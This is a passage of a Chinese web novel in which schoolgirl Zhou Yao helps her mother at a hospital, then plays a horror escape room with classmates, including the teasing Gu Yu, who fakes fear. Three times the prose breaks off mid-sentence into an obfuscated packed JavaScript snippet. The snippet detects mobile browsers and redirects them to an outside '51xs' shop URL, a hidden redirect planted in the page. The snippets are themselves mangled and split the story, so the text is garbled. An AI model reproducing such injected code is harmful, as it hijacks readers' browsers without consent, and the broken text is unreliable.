等复活的时间,顾彧拿起手机给周窈发了条消息,问她明天什么时候出发去蒋煜他哥的那家密室逃脱馆。 这次周窈回得挺快。 【不是葛朗台是世界首富:明天我要去医院给我妈帮忙,下午直接从医院走,你自己去吧。】 啧。 顾彧有些失望地回复了个“好吧”,然后放下手机重新投入到峡谷之中。 / 中秋节这天,周窈依旧早早就起床了,在家煮了两个鸡蛋,又在外面早点摊上买了两个素菜包子,然后一路骑车到了市医院。 陈娟在这里干了三年的看护,只要节假日周窈就会来医院给她帮忙,对这里几乎熟门熟路。 到了住院部,找到陈娟所在的病房,轻轻推门进去,就见陈娟坐在一张方凳上打瞌睡,而边上病床上,躺了一位老太太。 听见响动,陈娟惊醒,见是周窈,她这才松了下来,抬手抹了把脸:“你来了。” 周窈打开包将白煮蛋和包子递了过去:“昨天晚上又没睡吗?” 陈娟剥着鸡蛋叹气:“老太太折腾了半宿,早上好容易睡下,医生又来查房。” 周窈望着她眼底浓重的青黑,此时也无比心疼自己的妈妈:“吃完你再眯一会吧,老太太我看着。” “不行啊……”鸡蛋太噎,周窈眼疾手快给陈娟递了保温杯,“我楼上还有一床,不过那床是外伤,不需要一直看着……不过你来了我就能松快点了。” 想起自己下午还要和顾彧他们去密室玩,周窈突然有些动摇,看着陈娟累成这样,她到底于心不忍。 “妈,我下午……下午要和同学们去玩……” “玩什么玩?”话音刚落,陈娟就一个眼神横了过来:“我这里都快忙得脚不沾地了,你就想着玩!” 闻言,周窈垂下眼眸,手有些不安地抠着床沿,心里已经在想,如果现在跟蒋煜说她不去了,会不会给人家惹麻烦?毕竟她虽然没玩过,但也听说这种密室逃脱是有人数限制的,如果她不去,那蒋煜他们是不是要另外找人来填补她的空缺了? 陈娟三两口吃完包子,看了一眼周窈,女儿的眉头微微皱着,像是在烦恼什么事。 “算了算了,出去玩玩也好,不然整天在家里死气沉沉的。” 陈娟的突然松口让周窈感到意外,她抬头看了眼自己妈妈,就见她起身麻利地收拾了刚刚吃剩的鸡蛋壳和塑料袋,又仔细查看了一遍老太太的状态。 “那你不会忙不过来吗?” “忙不过来也得忙,实在不行让别人帮我顶一下呗,那怎么办。”说着,陈娟将方凳一收:“过来帮我看会,我去上个厕所。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460794|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 一整个上午,周窈都在病房里忙乎着,好让陈娟找个地方歇一会。 正如陈娟所言,这位老太太难伺候的很,阿尔兹海默症加上肿瘤,老太太的情绪比婴儿都难猜,她亲儿子来看她,也是莫名其妙地上去又打又骂。 不过周窈对此倒是习以为常,这些年她常来给陈娟帮忙,这样的病人她见多了,纵然老太太嘴里骂声不断,也不怎么配合,但周窈还是如常地给她换尿布、擦身,动作利落地就连病人家属看了也是夸赞连连。 “小姑娘很能干啊。” 恰巧护士进来发药,闻言也乐意帮周窈说几句好话:“别看小周不声不响,她照顾过的病人没有成千也有上百了,一放假就来帮她妈妈的忙,乖得很,干活也利落。” 都说请护工跟开盲盒没什么两样,见周窈照顾得上心,病人家属哪还有不满意的,原本还对陈娟脱岗多少有些埋怨,这会气已经全消了,临走时还送了周窈两个月饼。 周窈接过看了一眼,还是挺贵的牌子,随即就放到包里去了。 下午的时候,周窈跟陈娟打了声招呼,就直接去了密室逃脱馆。等她到的时候其他人也都到了,看得出来高中生难得出来放风,都狠狠打扮了一番。代薇子穿了件牛仔背带裙,李铭轩穿了他最爱的NBA球星的球服,蒋煜不知是不是偷用了他爸的发胶,直接把头发梳成大人模样。 最吸引人眼球的还是歪在前台边上的顾彧,今日也一如往常地站没站相,痞气得很,穿一件宝蓝色碎花短袖衬衣,衬衣扣子还开了两颗,露出两道“一”字型锁骨。衬衣的衣摆扎进泛白牛仔裤里,勾勒出腰部线条和修长小腿,脚上蹬一双米白色帆布鞋,整体随意又好看,就连店里的工作人员也忍不住频频偷看他。 但这人本身随便一站都像是开屏,倒也看不出来到底有没有特地打扮过。 这么多人里,也只有周窈自己穿着普通,她甚至还穿着校服裤子,只换了件普通的鹅黄色T恤。不过她向来也不在意这些,自然也不会刻意打扮。有时代薇子也会说她过于朴素,但每天上学都是校服,连头发长度都有规定,周窈对于“打扮”这一词汇,是真的没有任何想法,再者,家里的条件也不允许她烫头做指甲买新衣服。 见她到了,蒋煜第一个兴奋了起来,嚷嚷着“人齐了人齐了”,就让他哥给他安排。他哥人倒也不错,笑眯眯迎了上来,亲自给他们讲解几个密室主题。 “《开学》是恐怖题材的,《午夜派对》是悬疑的,看你们要玩哪个。” “《开学》……这名字一听就恐怖。”李铭轩吐槽着。 代薇子指着《午夜派对》问:“这个恐怖吗?” “这个有点惊悚。”蒋煜他哥解释道,“有点像生存游戏,你们需要在推理的同时躲过凶手的追杀。” “听着有点难啊?”蒋煜挠挠头,“要不我们还是《开学》吧?” “我建议你们也是选《开学》,你们本来就是学生,更容易沉浸。”蒋煜他哥笑了笑。 主题就这么定了下来。蒋煜他哥特地嘱咐:“里面都按有摄像头,到时候我们可能会选取一些有趣的片段放到网上,你们不介意吧?” 在众人表示不会介意之后,蒋煜他哥便安排人带他们进场。面对未知密室,代薇子没走几步就小声嚷嚷着害怕,蒋煜难得发挥一下绅士精神,和李铭轩一前一后将代薇子护在中间。 周窈倒是不怎么怕,跟人比起来,没准女鬼看着还亲切点。于是她便一个人走在最后,然而没过一会,就见前面的顾彧脚步逐渐慢了下来,甚至于挡住了她的路。 周窈推了他一把:“停下干嘛,走啊。” 一米八五的高个男生转过身来,狐狸眼耷拉着,表情怯怯:“我害怕。” 周窈简直无语:“你怕还来?” 顾彧委屈:“不知道是这种恐怖的密室……” “多少都有点恐怖元素的吧。”不然靠什么吸引顾客?但话虽这样说着,周窈还是扯过顾彧的衣摆,将他拉到自己身侧。“你别一个人走了,跟着我吧。” 狐狸眼尾瞬间扬了起来,像是计谋得逞一般,他凑近周窈耳畔,小声说道:“那条条一定要保护我哦。” 23. 密室 蒋煜他哥这间密室逃脱馆虽然是新开张的,还能清晰地闻到装修后的味道,但环境烘托上确实没的说,几人刚进入场地还没走几步,就被那阴森森的恐怖氛围吓得寒毛直竖,加上和自家学校相似的布置,更令人身临其境。 蒋煜搓了搓身上的鸡皮疙瘩:“我去,你别说,这场景还挺逼真哈。” 李铭轩小心翼翼地推开“教室门”,就听“哗”的一声,一道黑影突然从门后袭来,吓得他直接蹦出了十六字“箴言”:“卧槽!富强民主文明和谐!自由平等公正法治!爱国敬业诚信友善!” 跟在后面的人压根没见到那“黑影”,倒被他反应吓了一跳。 周窈上前一看,不过是一把扫帚。 将扫帚归位,周窈有些好笑地看了他一眼:“平时背书要是也这么六就好了。”说完,她捡起地上放置着的道具手电筒,打开来绕着教室照了一圈,发现没有什么恐怖元素之后,其他几人这才敢依次进来。 代薇子狠狠拍了一下李明轩:“没被鬼吓死,先被你吓死了。” 蒋煜很高兴自己终于不是唯一一个怕鬼的男生了,经过李明轩身边时也多少有点扬眉吐气的样子,颇为得意地“哼”了一声。 李铭轩:“有病吧,好像你不怕似的,一会鬼真来了有本事你走前面!”话虽这么说,他倒还十分尽职尽责地顶着门,朝走在最后的顾彧喊了一声:“顾神进来啊。” 他这一声,倒引起了周窈的注意。 原本周窈已经拿着手电筒在教室里开始寻找线索了,李铭轩这一喊她才意识到自己把顾彧给忘了,循声望去,果不其然这人正站在门边可怜巴巴望着自己,像是被主人遗弃的小狗似的。 周窈拿手电筒晃了他一下:“你进来啊。” 顾彧这才慢吞吞进来,磨磨蹭蹭地挨着她站好。 “说话不算数……” 周窈:嗯? 扭头朝他看去,一片黑暗之中,男生的语调显得格外黏糊:“还说保护我,一下子就没影了……” 周窈无语,但想着自己确实说过这话,也确实理亏,于是将自己的背包带子摸着黑塞到他手里:“拽好。” “哦。”男生的语气瞬间高了几个调,甩着手里的背包带,像个不敢乱跑的小学生。 这间教室里的线索藏得不深,几人分头寻找,很快就找到了一本日记本、一盒上课传的小纸条、几页残缺的剪报、校庆邀请函等线索。 凑在一起,这个故事背景缓缓展开。 女主角叫明娟,是这个学校高三的学生,因为家庭不睦的关系,导致她从小性格内向,也因此遭到了同学们的霸凌…… 周窈:又是霸凌,有完没完,搁这给我脱敏? 在反抗霸凌的过程中,明娟喜欢上了班里的人气男生许安国,却因为自卑不敢表白,于是这份心意,埋藏了十年之久。十年后,已经事业有成的许安国故地重游,这才知道明娟曾经偷偷爱慕过自己,并且于十年前的冬季,从教学楼顶一跃而下,悄无声息地去世了…… 而玩家们就是许安国视角,要寻找线索解开明娟死亡的秘密。 “有点可怜啊……”代薇子感叹。 “家庭不幸加上校园霸凌,再加上暗恋不成,最后死了,这Debuff加满了啊!” 翻完教室,一群人又往教师办公室走,刚到走廊上,蒋煜几人就被自动关上的教室门给吓了一跳,无论如何不敢走在最前面。周窈望着身后缩成一团的几人,无奈地打了头阵,而顾彧则牵着她的背包带子乖乖跟在她身侧。 办公室是女鬼出没重灾区,穿着校服一身血污的女鬼隐在黑暗之中,吓得几人吱哇乱叫。许是蒋煜表现得太害怕了,也为了“节目效果”和“玩家体验感”,后期这女鬼干脆专围着蒋煜转,吓得蒋煜都快爬到李铭轩身上去了。即使是同样怕鬼的代薇子,看他这样一幅没出息的样子,也多少有些觉得没脸,自顾自到边上找线索去了。 一片尖叫声中,周窈对照着顾彧手上拿着的线索,专心开明娟班主任的抽屉。明娟班主任是数学老师,她设置的密码是一道数学题的答案。 “在1至10000的数中,除去既不能被5整除又不能被11整除的数,剩下的数字中,位于第2008的数字是多少?” 题目念完,连周窈都愣住了。 “这也太难了吧,密室逃脱门槛这么高的吗?” 话音刚落,就听边上的顾彧报了个数字:“7360。” 速度之快让周窈都咋舌:“你算出来的?这么快?” 顾彧“嗯”了一声:“小学奥数题目,以前做过,幸好还记得答案。” 嚯。 周窈再度惊讶,心想着这智商差距确实巨大,小学的题目他竟然到现在还记得答案。想到这,她不禁又往那题目上瞄了一眼。 顾彧注意到她的小眼神,没忍住笑意,伸手在周窈脑袋上轻轻敲了一下:“你还当真了?怎么这么好骗,这种地方怎么会真的让你算这么难的题,如果你真会做,怎么也得花上十来分钟解题,那不是给女鬼争取吓死蒋煜的时间吗?” 周窈呆愣愣的不明所以:“那你怎么知道答案的?” 用手电筒照了下边上放着的教师手册,第一页的右下角,赫然是用特殊墨水写着的“7360”,手电筒光一照就显现出来了。 “上面写着呢,小笨蛋。” 周窈翻了个白眼,一脸无语,但还是蹲下按照数字扭动密码锁。 许是一直逗弄蒋煜让女鬼感到疲乏,又或许是他们这边解密太过顺利,让女鬼感到了一些挫败,总之,周窈这边的开锁声充分引起了女鬼的注意,当下就放过了正在鬼哭狼嚎抱着李铭轩胳膊不撒手的蒋煜,径直就朝二人“飘”了过来。 此时周窈还蹲在地上在刚刚打开的柜子里翻找线索呢,压根没注意身后的动静。女鬼看了眼眼前这拽着人家背包带子看上去像是很害怕的弱不禁风的小哥,又看了一眼毫无防备的周窈,正在犹豫该挑谁下手呢,就见那“弱不禁风”的小哥一个眼刀过来。 女鬼:? 然而下一秒,刚刚还眼神狠厉的小哥就往地上一蹲,挨着他的女同伴,一副弱柳扶风之姿:“啊啊,条条,女鬼过来了,我害怕……” 女鬼:??? 周窈头都懒得抬,拽过一条椅子横在两人身前,隔开女鬼,然后又拉着顾彧的胳膊将他往自己方向拽了拽,但却没想到这人得寸进尺。在透着寒意的密室里,陡然间贴过来一个热源,周窈几乎下意识就想后缩,但抬眼向顾彧看去,一片昏暗中只能看见这人的一双狐狸眼耷拉着,于是想要往回缩的劲又停住了。 算了,他可能真的害怕,低头又看了一眼两人贴在一起的手臂,周窈安慰性地拍了拍他,随即伸手往柜子里一掏,掏出一封被班主任没收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460795|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情书,找到了这一趴的关键性线索,触发了新剧情,女鬼也随即消失。 临走前,女鬼还不忘偷偷给顾彧点了个赞。 演还是你会演。 而顾彧也得意洋洋朝女鬼抬了抬下巴,像是回礼。 女鬼:就离谱,我也不是单身狗你刺激谁呢? “我找到线索了。”周窈一吆喝,剩下的人就都凑了过来。 泛黄的信纸上写着的,是明娟对许安国真挚的情感。 “她约许安国在2月14号那天在教学楼天台见面。” “情人节哎,她是想跟许安国当面表白吧。” “2月14号不是她的死期吗?” “所以是许安国把她推下去的?” “不能吧,警方不是说是自杀?” “跟许安国没关系,他可能根本不知道这事。”顾彧轻敲边上的桌子:“这信是从明娟班主任的抽屉里翻出来的,搞不好许安国根本没收到。” “所以明娟是因为没等到许安国,加上被霸凌,所以想不开才自杀的吗?” “线索有限,现在咱们也猜不出来,再四处找找吧。这个0214应该是开门的密码。” 按着周窈所说,几个输入密码后顺利地离开了办公室,即将前往明娟跳楼的天台。但在前往天台前,他们又被告知,还有一个组队任务,一部分人要去明娟的寝室找她死亡的线索,另一组人要去保安室找天台大门的钥匙。 五个人你看我我看你,代薇子首先表态:“我不去寝室,我去找钥匙。” 明娟的寝室,一听就知道有女鬼埋伏。随即早已被女鬼吓破胆的蒋煜也表示他不去寝室,李铭轩被他拖着呢,自然也不能去。 五人自然地分开走向两边。 女寝其实就在办公室边上,拐个弯就到了,但过道里漆黑一片,周窈再度把自己的背包带子塞到顾彧手里:“跟紧了,别走丢了。” 其实就这么一条路,能丢到哪里去,但顾彧还是作乖巧状点了点头,一副乖乖听话又十分害怕的样子。 两人进门之后,寝室门就自动关上了,形成了一个小型密室。 这是一间四人寝室,上床下桌的格局,其他三张床都是空的,只有最靠里的那张床上铺着被褥,桌子上也放着东西。 周窈打着手电走近一看,就见一本日记摊在桌上,上面记载了明娟被霸凌的种种过往以及她爱上许安国的心路历程。 简单来说,就是有一次明娟被同学欺负,十分狼狈的时候,许安国路过拉了她一把,就这样,明娟就爱他不可自拔。 顾彧凑过来一看,也笑了:“离谱。” 周窈翻动着泛黄的日记,试图在里面找到开门密码的线索:“也能理解吧,毕竟人在绝望时,也都希望能抓住些救命稻草。” “那你呢?如果那时候有人帮你,你也会喜欢上他吗?” 话一出口,顾彧就后悔了,甚至恨不能甩自己两巴掌,不明白怎么就一时嘴快捅了周窈的伤处。 “对不……” “不会。” 道歉的话还未说全,周窈就率先回答,语气平和得似乎根本不在意这件事。 “谁会因为对方拉了自己一把就喜欢上他啊,而且顾狐狸你是不是有病?” “嗯?” 周窈翻了个大大的白眼:“我那时候才小学。” 顾彧:…… 24. 壁咚 寝室狭小,能翻的地方就这么两三处,周窈没费什么力气就找到了一张成绩单。 因为长期忍受霸凌,明娟的成绩一落千丈,班主任给的评估是本科无望。或许这也是压垮她的其中一根稻草。 正想跟顾彧分享线索,就见他倚在书桌边上,一脸认真地看着自己。 “你看什么?” “没什么。” 嘴上虽然这么回答,但顾彧还是依旧盯着周窈看,似乎想从她脸上看出,她到底是真的释怀了,还是在他面前装作无事发生。 周窈并不知道此时顾彧复杂的内心活动,她将刚找到的明娟的成绩单往他手里一塞:“去试试上面的数字,能不能开门。” “哦。” 顾彧乖乖去了,留周窈在原地翻找其他线索。 线索还没找完,突然想起这人不是怕鬼吗?于是又赶紧起身想要追上去,然而还没走两步,就见顾彧身后的上铺,一个黑色的影子慢慢从床沿探出来,伸手往顾彧背后抓去…… 而此时顾彧并未察觉,只觉得脖子似被什么蜘蛛网之类的东西挠了一下,怪痒的,伸手去抓,却见几缕黑色丝线,从他指缝中溜走。缓缓抬头向上看去,就见头顶上铺的位置,有个白色身影趴在床边注视着他。而他手中的所谓黑色丝线,便是“它”垂下的长发…… 在这间密闭空间里,也不知道“它”在上铺趴了多久,又盯着他们看了多久…… 冷不丁和女鬼来了个面对面,顾彧也多少有点愣住了。 那“女鬼”见顾彧一时似是被吓得没了反应,便立即乘势追击,一边嚎叫着一边伸出涂满红色液体的手就向顾彧脖子“掐”来。 眼见着女鬼越来越近,周窈一个闪身挡在了顾彧身前,将他往后推了一把:“退后。”顾彧毫无防备,被她这么一推整个人都撞到了门上,发出了沉闷的声响。 上铺的女鬼见又来了一个,张牙舞爪就要继续攻击,却没想周窈一伸手,直接一把将女鬼按了回去。 凄厉的嚎叫瞬间停止。 周窈回头:“没事吧?” 话说完才发现两人现在的姿势很是别扭,看起来就像是她在壁咚顾彧似的,只不过人家的手是按在墙上,她的手却按在了顾彧的——胸口。 “呃……不好意思……” 昏暗灯光下,那双狐狸眼促狭地眯起:“好摸吗?” “我那是不小心!又不是成心吃你豆腐!”但话虽这样说,周窈还是暗暗回味了一下刚才的手感,其实——还蛮好的。 顾彧这人看着挺瘦,但意外还挺有料,胸肌还很厚实,不像其他男生那么柴。 “我又没说什么……”顾彧嘟嘟囔囔,一边背过身去继续摆弄密码锁。 周窈懒得跟他掰扯:“密码试出来了吗?” 顾彧摇摇头:“都不对。” 但寝室就这么大,抽屉柜子书架周窈都翻了,没有别的有用线索了。 思索中,顾彧指着上铺的“女鬼”:“线索不会在她身上吧?” 也不是没这种可能,毕竟在这个环境下,“女鬼”就是明娟本人,线索藏在她身上也是有可能的。 想着顾彧怕鬼,周窈自告奋勇接下了这活:“你在下面等着,我上去找。” 顾彧点了点头,默不作声地退到床尾方向。 胆小鬼。 周窈瞥了他一眼,自顾自爬到了上铺。 床上的女鬼见有人上来,张牙舞爪就往周窈身上扑,周窈也做出了防卫姿态,然而女鬼竟然在离周窈还有一尺距离的地方停住了,血红的指甲往外戳着,怎么都够不着周窈,只能无能地干嚎着。 这女鬼还挺有职业道德,只吓人不瞎扑棱。周窈这样想着。 因为女鬼扑过来吓她,也顺势露出了她身后用夜光墨水写在栏杆上的一串数字。 “我看到密码了!” 完成任务的周窈翻身下床,冲到门边开锁。 在她背过身后,顾彧这才松开了一直紧紧拽着女鬼衣摆的手,转身又蹭到周窈身边:“还是条条厉害……” 上铺的女鬼:我能说脏话吗? 刚打开门,就听不远处咋咋呼呼,蒋煜他们三人你拖着我我拖着你狂奔而来。 “卧槽有鬼啊!!!” 他们身后,一名同样白衣长发的女鬼,拎着裙摆紧追不舍。 周窈回头看了一眼还躺在上铺张牙舞爪的女鬼,心想这密室逃脱馆还挺良心,他们总共五个人,npc就安排了两位。 见到顾彧和周窈,另外三人像是瞬间有了主心骨似的,左右包抄抓着两人不肯松手,你一言我一语地讲述着自己的恐怖遭遇。 “卧槽这个密室也太丧心病狂了,我去翻信箱,从信箱那个缝里对上一双鬼眼!它就躲在信箱后面看着我!跟TM柯南里《图书馆杀人事件》馆长坐电梯上来那一幕一样可怕!” 蒋煜说完,代薇子迫不及待伸出她沾上红色不明液体的手给两人看:“我摸黑去开灯,就摸到一手血,吓死我了呜呜呜呜……” 两人说完,周窈询问一直没说话的李铭轩:“你呢?” 李铭轩喘着粗气,扭头看向他们的时候,眼神里还满是惊恐:“‘它’在我耳边说话,还吹气……” 周窈听完点点头,暗暗在心里评估一番:听起来,好像蒋煜遇到的情况更吓人些。 五人碰头,胆子瞬间长了一倍,蒋煜更叫嚣着要回去找女鬼“干”她,但女鬼刚露个头他就怂了,哆哆嗦嗦跟在周窈身后,屁都不敢多放一个。 但无论如何,他们还是找齐了线索,查清了明娟的死因。 原来当年明娟写给许安国的那封信,并没有送到许安国手里,而是被那些霸凌她的同学给截了下来,交给了班主任。这还不够,霸凌者甚至模仿许安国的字迹给明娟写了一封回信,信里言辞恶劣,将明娟贬得一文不值。被霸凌、成绩下滑、被喜欢的人厌恶,三座大山压在明娟身上,导致她一时想不开,从教学楼顶一跃而下。 “但其实许安国也一直偷偷喜欢着明娟,但明娟给他写信那会,他已经为了入伍退学了,所以明娟之后的遭遇他也都不知情。他后来还给明娟写过信,但因为那时明娟已经不在了,所以这封信就一直留在传达室里,无人认领。” “天台”上,众人将那封十年前来自许安国的信交给明娟,执念了结,明娟也就“消失”了。 再次回到明亮的世界,几人竟有种劫后余生的错觉。 蒋煜他哥第一时间迎了上来,众人这才知道原来他一直在监控前看着他们玩。一时间,除了周窈之外,大家脸上都有些莫名尴尬,毕竟自己吓得屁滚尿流的样子被人看到,怎么着都觉得有些没脸。 唯有顾彧,还一副意犹未尽的样子。 周窈看了他一眼,不免觉得奇怪,这人不是怕鬼吗? “你们这场效果还挺好,不介意我发点片段到网上吧?就我们馆的官方账号。” 蒋煜环顾四周,征询了大家的意见后:“介意倒是不介意,就是觉得刚刚表现有点怂,要是被人认出来……” “嗐!”他哥安慰性地拍了拍他:“里面这么黑,我们的监控其实也拍不清人脸,不会有人认出来。” “那行吧……” 几个人又说了会话,见窗外天色渐晚,今天又是中秋节,代薇子他们都要回家和家人吃饭,便陆续起身准备回家了。 离开前,周窈和代薇子去了一趟洗手间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460796|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,顾彧他们就站在前台边等。已经完全走出“女鬼阴影”的蒋煜还在乐此不疲地嘲笑李铭轩被吓得连滚带爬的样子,气得李铭轩抓着他揍,而顾彧则依旧一副懒懒的样子倚在那,手里拎着周窈的包,单手回消息,不经意间撩了把头发,露出了漂亮的美人尖。 蒋煜扭头就看到他手机上的诸多未接来电。 “你手机怎么是静音啊?怪不得我们给你发消息,你总是很晚才回复。” 顾彧回完消息,将手机揣回口袋:“听不得手机铃声。” “为什么?” “心理阴影。”顾彧半真半假道:“小时候我家的电话总在半夜响,你说吓不吓人,跟催命似的。” “卧槽,这么吓人?午夜凶铃啊……” 边上有两名女生盯着顾彧看了一会,互相推搡了一番后,其中一位羊毛卷女生上前大方问道:“帅哥们,要不要一起拼一局啊?我们缺人。”似乎是邀请三人加入,但视线却直勾勾地盯着顾彧。 顾彧扫了两人一眼:“抱歉,我们准备走了。” 但羊毛卷并没放弃,依旧试图说服顾彧加入:“再玩一局吧,我们请客,帮帮忙吧小哥哥。” 顾彧礼貌性地笑了笑,没说话但侧过身去朝洗手间方向张望,似乎在看周窈她们出来了没。 羊毛卷也注意到他的动作,便问:“在等人啊?你们一共几个人啊?咱们可以拼着玩悬疑本啊,你们刚刚是不是玩的学校那个啊?” 顾彧依旧没答话,不忍心见小姐姐尴尬的蒋煜便接话解释:“我们五个人,玩的学校那个,挺恐怖的,你们人少的话可以试试这个本。” 见蒋煜搭话,羊毛卷顺杆爬,一边往顾彧身上瞟,一边继续问道:“你们是学生吗?” 蒋煜点点头:“我们是一……” 话未说完,就被顾彧截住了,他掀了掀眼皮,似有些不悦,但语气倒还客气:“不好意思啊姐姐,家里从小教育,不和陌生人说话。” 那羊毛卷不知是不是没听出顾彧话里的拒绝,和同伴凑捂嘴笑了两声后,再次直接望向了顾彧:“原来是弟弟啊,有女朋友了吗?可以考虑一下姐姐吗?加个微信吧。” 顾彧再次撩了下头发,只不过这次的动作中依稀带着些许不耐烦,边上蒋煜和李铭轩此时也听出了两位女生的来意,便干脆地退向一边,开始吃瓜。 好在此时洗手间的门终于开了,周窈和代薇子挽着手出来。顾彧长臂一伸,将周窈的包还给她。 几乎是瞬间,那两名女生的视线便投向了周窈,将她从头到脚扫视一遍后,羊毛卷再度望向顾彧,带着些许不屑笑着说道:“档次明显不同啊,真的不再考虑一下了吗小帅哥?” 周窈刚从洗手间出来,并不知道发生了什么事,陡然听到这种言论还一头雾水,而边上的蒋煜等人怕她尴尬,也选择了不解释,倒是代薇子,眼神在几人之间游移了一番之后,便猜出了事情的始末。 她手一叉腰,刚要回怼,便听顾彧嗤笑一声。 他抬眼,眼神冰冷且不屑:“你又是什么档次,跟她相提并论?照照镜子吧姐姐,她可比你好看了不止一点半点。” 羊毛卷登时愣住了。 蒋煜他哥注意到逐渐升温的态势,带着前台小姑娘赶紧过来打圆场,而他们五人也乘机离开了密室逃脱馆。 “有病吧她,乱咬人呢?”代薇子愤愤不平,“难道她就长得很好看吗?祝她单身一辈子!呸!”说完还看了周窈一眼,怕她听出了那人的话不高兴。 而一路被推着走的周窈,此时才后知后觉,原来自己被人当成假想敌,还羞辱了一番。 她瞪了一眼身边的罪魁祸首,小声骂了一句:“狐狸精,拈花惹草。” 25. 抓娃娃 顾彧一脸无辜,毕竟他什么都没干只是站在那里罢了,正想为自己辩驳几句,心下却突然发慌,毕竟周窈才刚跟他和好,万一又觉得他烦,不想理他怎么办? 经过这个小插曲,众人决定各回各家各找各妈,不到五分钟就都闪没影了,毕竟中秋家宴还是不能落下。 于是路边上,就剩顾彧和周窈两人,少了蒋煜的大嗓门,气氛顿时变得有些冷清。 “走吧,回家。”周窈取了车,但顾彧却没跟上来,扭头一看,这人还赖在原地,看起来有些别扭。 “走啊。”周窈叫他。 顾彧脚尖捻地,蚊子叫似的问道:“你刚刚生气了吗?” “生什么气?”说完周窈才反应过来,顾彧是在问她刚刚被人当做假想敌的事。“有点,你能不能少给我找事。” 顾彧低头小声嘟囔:“长得好看难道是我的错么?” “是女娲的错,行了吗?你走不走啊,你不走我走了。” 好一会身后这人还没反应,周窈不耐烦地回头看去,就见顾彧扒在路边一台抓娃娃机前,朝周窈挥手。 “送你一个当给你道歉。” 周窈看出来了,这人单纯就是不想走,但还是重新停了车走了过去。 “你选一个。” 顺着顾彧指尖看去,就见抓娃娃机里有各式各样的玩偶,周窈看了半天,扭头问他:“你真要送我?这个可不好抓,你抓不上来怎么办?” 顾彧斜眼看她:“瞧不起我?你只管选就行了。” 周窈仔细看了看,指了一个:“要那个哆啦A梦。” 顾彧吹了下额前的碎发,撸了把压根不存在的衣袖,扫码付钱开抓,好好一张帅脸就差没贴在玻璃上了。 “等着瞧!” 看着他一脸臭屁样,周窈也实在没忍住,噗嗤一声笑了出来。 其实就连陈娟也不知道,周窈曾经有一段时间,非常喜欢哆啦A梦。小学时每两周能去图书馆借书看,哆啦A梦的漫画总是最抢手的,周窈有幸也抢到过几次。那时她正处在黑暗的低谷期,她也曾希望能拥有一个哆啦A梦,帮她完成各种心愿。 只是二次元和三次元,始终有壁,她也就短暂地幻想了一下,然后很快又回到了现实。 机械爪子在顾彧的操控下,摇摇晃晃地落到了哆啦A梦的上方,看似软绵绵似毫无力道,但不知道顾彧是真的踩了狗屎运还是真的有点技术傍身,竟然真的被他抓上来了! 原本周窈并未抱有希望,但当那个蓝胖子掉进出口的瞬间,她的心还是止不住地雀跃了一下,像是有一个小小心愿被不经意间达成,既奇妙又美满。 顾彧弯腰从出口处取出一只两个拳头大小的蓝胖子,递到周窈手里。 “我就说吧,一定能抓上来。”少年撩了下刘海,神采是说不出的得意。 “呿,不过抓了个娃娃而已,得意什么。”即便这样说着,但周窈依旧十分珍惜地抚摸着手里的哆啦A梦。 顾彧知道她嘴硬心软,也不生气,单手插兜倚靠在抓娃娃机上,伸出手指拨弄了两下哆啦A梦的圆圆脚,偏过头来看着周窈:“不生气了吧?” 周窈有些不好意思,捏着玩偶小声反驳:“我本来也没生气。” “嘴硬。”顾彧伸手点了点她的额头:“你每次一叫我‘顾狐狸’,我就知道你生气了。” 有么?周窈细细回想起来。 “爸爸我也想要!” 身侧突然传来一个奶声奶气的声音,她低头一看,这才注意到身边还站着一个大约五六岁的小男孩,眼睛直勾勾盯着自己手里的哆啦A梦,也不知道看了多久,他爸爸在边上劝他都不走,眼神里满是渴望。 周窈几乎是下意识地背过手去,将哆啦A梦藏在身后并一脸警惕,难得稚气的举动,看得顾彧都一愣,随即笑出了声来。 那小男孩不达目的不罢休,拖着他爸爸也要抓一个哆啦A梦。奈何他爸爸没有顾彧的技术,抓了好几次都抓不上来一个,抓不上来小孩就哭,他爸也无奈地哄道:“买一个行不行,回去让你妈在网上给你买一个……” “我要抓出来的!哇!你给我抓一个!哇!” “爸爸技术不行呀,要不下回再来抓,妈妈等我们吃饭呢!今天中秋节吃团圆饭,爷爷奶奶也在家里等你呢,还有月饼,你不吃月饼了吗?” 小男孩现在哪里听得进这些,直接使出杀手锏,往地上一坐,两腿乱蹬,哭声响彻云霄。期间他爸爸几次向周窈投来目光,似乎是希望她能出让手里的哆啦A梦,但周窈假装没看见,甚至拉了拉顾彧,示意先走。但顾彧没走,反而直直迎了上去。 “我帮你抓一个吧。” 见顾彧开口帮忙,小孩他爸像是看见了救星,扫码后赶紧把儿子从地上抱起来:“好了好了别哭了,哥哥给你抓了。” 